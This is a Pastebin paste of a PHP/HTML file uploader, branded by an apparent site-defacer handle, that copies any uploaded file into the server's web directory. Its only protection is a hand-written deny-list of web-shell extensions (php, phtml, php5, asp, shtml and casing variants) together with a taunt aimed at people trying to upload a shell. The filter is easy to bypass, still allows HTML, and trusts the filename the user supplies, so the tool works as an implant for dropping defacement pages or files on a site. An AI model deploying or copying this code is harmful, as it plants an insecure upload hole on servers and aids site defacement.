Advertisement
MrOXiG3n

Uploader only HTML

Mar 21st, 2020
1,122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.76 KB | None | 0 0
  1. <!doctype html>
  2. <html lang="en">
  3. <head>
  4. <!-- Required meta tags -->
  5. <meta charset="utf-8">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0, shrink-to-fit=no">
  7. <meta name="author" content="./OXiG3n"> <!-- Btw author : Rands -->
  8. <meta name="description" content="Nitip Aja Cuk :v">
  9. <meta name="theme-color" content="#000000">
  10. <!-- Bootstrap CSS -->
  11. <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous">
  12. <link href="https://fonts.googleapis.com/css?family=Rock Salt|Righteous" rel="stylesheet">
  13. <link rel="icon" href="" type="image/jpg">
  14. <link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.1.0/css/font-awesome.min.css'>
  15. <script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
  16. <script src='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.2.0/js/bootstrap.min.js'></script>
  17. <script src='https://unpkg.com/sweetalert/dist/sweetalert.min.js'></script>
  18. <title>Uploader only HTML</title>
  19. <style>
  20. body{background-color:#000;font-family:"Righteous";color:#fff;}
  21. #ico{width:200px;height:200px;}
  22. </style>
  23. </head>
  24. <body>
  25.  
  26. <div class="container text-center mx-auto">
  27. <h2 class="mt-3">Uploader ./OXiG3n</h2>
  28. <img src="https://i.ibb.co/JtNsTyq/IMG-20191124-WA0082.jpg" class="mx-auto d-block" id="ico">
  29. <br><br>
  30. <form method="post" enctype="multipart/form-data">
  31. <div class="row">
  32. <div class="col">
  33. <input id="previews" placeholder="Pilih File" class="form-control bg-transparent text-white" readonly="readonly">
  34. </div>
  35.  
  36. <div class="col">
  37. <div class="input-group">
  38. <div class="custom-file">
  39. <input type="file" name="file" class="custom-file-input bg-transparent" id="FileSel">
  40. <label class="custom-file-label bg-transparent" for="previews"></label>
  41. </div>
  42. </div>
  43. </div>
  44. </div>
  45. <button type="submit" name="up" class="btn btn-secondary btn-block bg-transparent mt-3" id="load" data-loading-text="<i class='fa fa-refresh fa-spin'></i> Silahkan tunggu">Upload</button>
  46. </form><hr>
  47. <style type="text/css">
  48. body {background-color: black;background-image: url("");background-repeat: no-repeat;background-size: 100% 100%;}
  49. </style>
  50. <?php
  51. $server = $_SERVER["DOCUMENT_ROOT"];
  52. $file = $_FILES["file"]["name"];
  53. $tipe = pathinfo($file, PATHINFO_EXTENSION);
  54. // Kalo Mau Nambahin Tipe Aksesnya Tambahin Ae
  55. if(
  56. ($tipe === "php") or
  57. ($tipe === "index.html") or
  58. ($tipe === "pHp") or
  59. ($tipe === "PhP") or
  60. ($tipe === "php1") or
  61. ($tipe === "php2") or
  62. ($tipe === "phtmL") or
  63. ($tipe === "phtML") or
  64. ($tipe === "phTML") or
  65. ($tipe === "pHTML") or
  66. ($tipe === "PHTML") or
  67. ($tipe === "phtMl") or
  68. ($tipe === "phTml") or
  69. ($tipe === "pHtml") or
  70. ($tipe === "Phtml") or
  71. ($tipe === "PHtml") or
  72. ($tipe === "PHTml") or
  73. ($tipe === "PHTMl") or
  74. ($tipe === "TxT") or
  75. ($tipe === "Txt") or
  76. ($tipe === "pjpeg") or
  77. ($tipe === "jpeg") or
  78. ($tipe === "Gif") or
  79. ($tipe === "PHP5") or
  80. ($tipe === "phP5") or
  81. ($tipe === "Php5") or
  82. ($tipe === "PHp5") or
  83. ($tipe === "PHP5") or
  84. ($tipe === "PHP3") or
  85. ($tipe === "php5") or
  86. ($tipe === "phtml") or
  87. ($tipe === "jpg") or
  88. ($tipe === "phpp") or
  89. ($tipe === "png") or
  90. ($tipe === "aspx") or
  91. ($tipe === "txt") or
  92. ($tipe === "shtml") or
  93. ($tipe === "php4") or
  94. ($tipe === "pdf") or
  95. ($tipe === "php3") or
  96. ($tipe === "PhP") or
  97. ($tipe === "pHp") or
  98. ($tipe === "xxxjpg") or
  99. ($tipe === "pHtMl") or
  100. ($tipe === "asp") or
  101. ($tipe === "sql") or
  102. ($tipe === "xml")){
  103. echo "<br><br><center><font color='white' face='Iceland' size='4' >MAU APA ? UPSHELL ? Tydak Semudah Itu</font></font></center>";
  104. exit;
  105. }else{
  106. if(isset($_POST["up"])){
  107. if(is_writable($server)){
  108. if(@copy($_FILES["file"]["tmp_name"], $_FILES["file"]["name"])){
  109. $web = "http://".$_SERVER["HTTP_HOST"]."/";
  110. echo "<br><br><center><font color='white' face='Iceland' size='4' >SUCCESS UPLOAD : </font><a href='$file' target='_blank'><font color='red' size='4' ><u>Here</u></font></a></center>";
  111. }else{
  112. echo "<br><br><center><font color='red' face='Iceland' size='4'>GAGAL UPLOAD , FAKTOR FACE EA WKWKWK</font></center>";
  113. }
  114. }
  115. }
  116. }
  117. ?>
  118. <footer>
  119. <small>© Powered By ./OXiG3n</small>
  120. </footer>
  121. </div>
  122. <script>
  123. document.getElementById('FileSel').onchange = function()
  124. {
  125. document.getElementById('previews').value = this.value;
  126. };
  127.  
  128. $('.btn').on('click', function(){
  129. var $this = $(this);
  130. $this.button('loading');
  131. });
  132.  
  133. </script>
  134. </body>
  135. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement